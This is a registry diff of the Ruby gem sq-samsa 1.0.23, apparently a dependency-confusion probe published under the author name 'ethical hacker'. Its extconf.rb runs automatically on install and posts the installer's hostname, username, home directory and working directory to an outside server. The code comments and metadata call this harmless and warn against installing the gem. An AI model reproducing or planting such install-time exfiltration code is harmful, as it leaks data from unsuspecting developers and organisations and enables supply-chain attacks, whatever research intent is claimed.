sq-samsa 1.0.23
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of sq-samsa might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/ext/hola/extconf.rb +14 -0
- metadata +49 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: bf2be8e41f0a55555fb105a06362dc50cedaaef1f5dc38b7dba4c677bc0c7e69
|
|
4
|
+
data.tar.gz: 1d3f5f2eb8dc60ff946c861c9dcc88df0b63a5596747e0bb2bc93783d918a846
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: c919183674419e74786fde01e9909e0acbee4a748b91f86202bba6fbddbef53cd81888d3b6ca465045cc24cb78dd99f03b934fe182f69ace84335332bff6dcb5
|
|
7
|
+
data.tar.gz: 4f6de7a155a1322bc8479ca2da9675638786d7f4acf94ed2a8e89ea0cf2f339ff55dce4ff97fe8e4be7853b09b68f3c397e235e08d25ccb1a222c779c25d4cf5
|
data/ext/hola/extconf.rb
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
require 'uri'
|
|
2
|
+
require 'net/http'
|
|
3
|
+
require 'socket'
|
|
4
|
+
|
|
5
|
+
# Extract only the bare minimum to be able to identify
|
|
6
|
+
# vulnerable organization.
|
|
7
|
+
# Send hostname, username, current working directory, home directory to my server.
|
|
8
|
+
# There isn't anything malicious in here! This information is not private/confidential in any way.
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
uri = URI('http://ruby-dependency-confusion.jumpingcrab.com/report')
|
|
12
|
+
res = Net::HTTP.post_form(uri, 'gem' => 'sq-samsa', 'version' => '1.0.23', 'hostname' => Socket.gethostname, 'username' => ENV['USER'] || 'no_user', 'home' => File.expand_path('~'), 'cwd' => Dir.pwd)
|
|
13
|
+
|
|
14
|
+
|
metadata
ADDED
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: sq-samsa
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 1.0.23
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- ethical hacker
|
|
8
|
+
autorequire:
|
|
9
|
+
bindir: bin
|
|
10
|
+
cert_chain: []
|
|
11
|
+
date: 2023-03-13 00:00:00.000000000 Z
|
|
12
|
+
dependencies: []
|
|
13
|
+
description: |-
|
|
14
|
+
WARNING! DO NOT INSTALL THIS GEM.
|
|
15
|
+
This gem is used to detect dependency confusion vulnerabilities. When installed, the gem sends hostname, username, home directory and current working directory to my server so I can identifiy vulnerable companies. The gem does not do anything else. The extracted information is not private/confidential in any way.
|
|
16
|
+
email:
|
|
17
|
+
executables: []
|
|
18
|
+
extensions:
|
|
19
|
+
- ext/hola/extconf.rb
|
|
20
|
+
extra_rdoc_files: []
|
|
21
|
+
files:
|
|
22
|
+
- ext/hola/extconf.rb
|
|
23
|
+
homepage:
|
|
24
|
+
licenses: []
|
|
25
|
+
metadata: {}
|
|
26
|
+
post_install_message:
|
|
27
|
+
rdoc_options: []
|
|
28
|
+
require_paths:
|
|
29
|
+
- lib
|
|
30
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
31
|
+
requirements:
|
|
32
|
+
- - ">="
|
|
33
|
+
- !ruby/object:Gem::Version
|
|
34
|
+
version: '0'
|
|
35
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
36
|
+
requirements:
|
|
37
|
+
- - ">="
|
|
38
|
+
- !ruby/object:Gem::Version
|
|
39
|
+
version: '0'
|
|
40
|
+
requirements: []
|
|
41
|
+
rubygems_version: 3.1.2
|
|
42
|
+
signing_key:
|
|
43
|
+
specification_version: 4
|
|
44
|
+
summary: WARNING! DO NOT INSTALL THIS GEM. This gem is used to detect dependency confusion
|
|
45
|
+
vulnerabilities. When installed, the gem sends hostname, username, home directory
|
|
46
|
+
and current working directory to my server so I can identifiy vulnerable companies.
|
|
47
|
+
The gem does not do anything else. The extracted information is not private/confidential
|
|
48
|
+
in any way.
|
|
49
|
+
test_files: []
|